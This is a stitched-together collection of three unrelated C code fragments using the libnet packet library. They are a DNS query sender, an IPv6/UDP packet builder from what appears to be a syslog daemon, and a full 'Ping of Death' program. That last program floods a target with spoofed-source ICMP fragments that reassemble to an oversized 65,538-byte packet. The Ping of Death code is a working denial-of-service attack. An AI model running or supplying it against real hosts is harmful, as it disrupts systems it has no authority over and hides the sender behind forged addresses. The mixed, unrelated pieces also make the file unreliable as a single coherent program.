/* include send_dns_query_libnet */ void send_dns_query(void) { char qbuf[24], *ptr; u_int16_t one; int packet_size = LIBNET_UDP_H + LIBNET_DNSV4_H + 24; static libnet_ptag_t ip_tag, udp_tag, dns_tag; /* build query portion of DNS packet */ ptr = qbuf; memcpy(ptr, "\001a\014root-servers\003net\000", 20); ptr += 20; one = htons(1); memcpy(ptr, &one, 2); /* query type = A */ ptr += 2; memcpy(ptr, &one, 2); /* query class = 1 (IP addr) */ /* build DNS packet */ dns_tag = libnet_build_dnsv4( 1234 /* identification */, 0x0100 /* flags: recursion desired */, 1 /* # questions */, 0 /* # answer RRs */, 0 /* # authority RRs */, 0 /* # additional RRs */, qbuf /* query */, 24 /* length of query */, l, dns_tag); /* build UDP header */ udp_tag = libnet_build_udp( ((struct sockaddr_in *) local)->sin_port /* source port */, ((struct sockaddr_in *) dest)->sin_port /* dest port */, packet_size /* length */, 0 /* checksum */, NULL /* payload */, 0 /* payload length */, l, udp_tag); /* Since we specified the checksum as 0, libnet will automatically */ /* calculate the UDP checksum. Turn it off if the user doesn't want it. */ if (zerosum) if (libnet_toggle_checksum(l, udp_tag, LIBNET_OFF) < 0) err_quit("turning off checksums: %s\n", libnet_geterror(l)); /* build IP header */ /* *INDENT-OFF* */ ip_tag = libnet_build_ipv4(packet_size + LIBNET_IPV4_H /* len */, 0 /* tos */, 0 /* IP ID */, 0 /* fragment */, TTL_OUT /* ttl */, IPPROTO_UDP /* protocol */, 0 /* checksum */, ((struct sockaddr_in *) local)->sin_addr.s_addr /* source */, ((struct sockaddr_in *) dest)->sin_addr.s_addr /* dest */, NULL /* payload */, 0 /* payload length */, l, ip_tag); /* *INDENT-ON* */ if (libnet_write(l) < 0) { err_quit("libnet_write: %s\n", libnet_geterror(l)); } if (verbose) printf("sent: %d bytes of data\n", packet_size); }
static gboolean afinet_dd_construct_ipv6_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line) { libnet_ptag_t ip, udp; struct sockaddr_in *src4; struct sockaddr_in6 src, *dst; struct libnet_in6_addr ln_src, ln_dst; switch (msg->saddr->sa.sa_family) { case AF_INET: src4 = (struct sockaddr_in *) &msg->saddr->sa; memset(&src, 0, sizeof(src)); src.sin6_family = AF_INET6; src.sin6_port = src4->sin_port; ((guint32 *) &src.sin6_addr)[0] = 0; ((guint32 *) &src.sin6_addr)[1] = 0; ((guint32 *) &src.sin6_addr)[2] = htonl(0xffff); ((guint32 *) &src.sin6_addr)[3] = src4->sin_addr.s_addr; break; case AF_INET6: src = *((struct sockaddr_in6 *) &msg->saddr->sa); break; default: g_assert_not_reached(); break; } dst = (struct sockaddr_in6 *) &self->super.dest_addr->sa; libnet_clear_packet(self->lnet_ctx); udp = libnet_build_udp(ntohs(src.sin6_port), ntohs(dst->sin6_port), LIBNET_UDP_H + msg_line->len, 0, (guchar *) msg_line->str, msg_line->len, self->lnet_ctx, 0); if (udp == -1) return FALSE; /* There seems to be a bug in libnet 1.1.2 that is triggered when * checksumming UDP6 packets. This is a workaround below. */ libnet_toggle_checksum(self->lnet_ctx, udp, LIBNET_OFF); memcpy(&ln_src, &src.sin6_addr, sizeof(ln_src)); memcpy(&ln_dst, &dst->sin6_addr, sizeof(ln_dst)); ip = libnet_build_ipv6(0, 0, LIBNET_UDP_H + msg_line->len, IPPROTO_UDP, /* IPv6 next header */ 64, /* hop limit */ ln_src, ln_dst, NULL, 0, /* payload and its length */ self->lnet_ctx, 0); if (ip == -1) return FALSE; return TRUE; }
int main(int argc, char **argv) { libnet_t *l; libnet_ptag_t ip; libnet_ptag_t icmp; struct libnet_stats ls; u_long fakesrc, target; u_char *data; int c, i, flags, offset, len; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 Ping of Death[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE) == -1))) { fprintf(stderr, "Usage: %s <target>\n", argv[0]); exit(EXIT_FAILURE); } /* get random src addr. */ libnet_seed_prand(l); fakesrc = libnet_get_prand(LIBNET_PRu32); data = malloc(FRAG_LEN); for (i = 0 ; i < FRAG_LEN ; i++) { /* fill it with something */ data[i] = 0x3a; } ip = LIBNET_PTAG_INITIALIZER; icmp = LIBNET_PTAG_INITIALIZER; for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN)) { offset = i; flags = 0; if (offset < 65120) { flags = IP_MF; len = FRAG_LEN; } else { /* for a total reconstructed length of 65538 bytes */ len = 410; } icmp = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 666, /* id */ 666, /* sequence */ data, /* payload */ len, /* payload size */ l, /* libnet handle */ icmp); /* libnet ptag */ if (icmp == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } /* no reason to do this */ libnet_toggle_checksum(l, icmp, 0); ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */ 0, /* TOS */ 666, /* IP ID */ flags | (offset >> 3), /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ fakesrc, /* source IP */ target, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ ip); /* libnet ptag */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); } /* tcpdump-style jonks. */ printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0), argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : ""); } libnet_stats(l, &ls); fprintf(stderr, "Packets sent: %lld\n" "Packet errors: %lld\n" "Bytes written: %lld\n", ls.packets_sent, ls.packet_errors, ls.bytes_written); libnet_destroy(l); free(data); return (EXIT_SUCCESS); bad: libnet_destroy(l); free(data); return (EXIT_FAILURE); }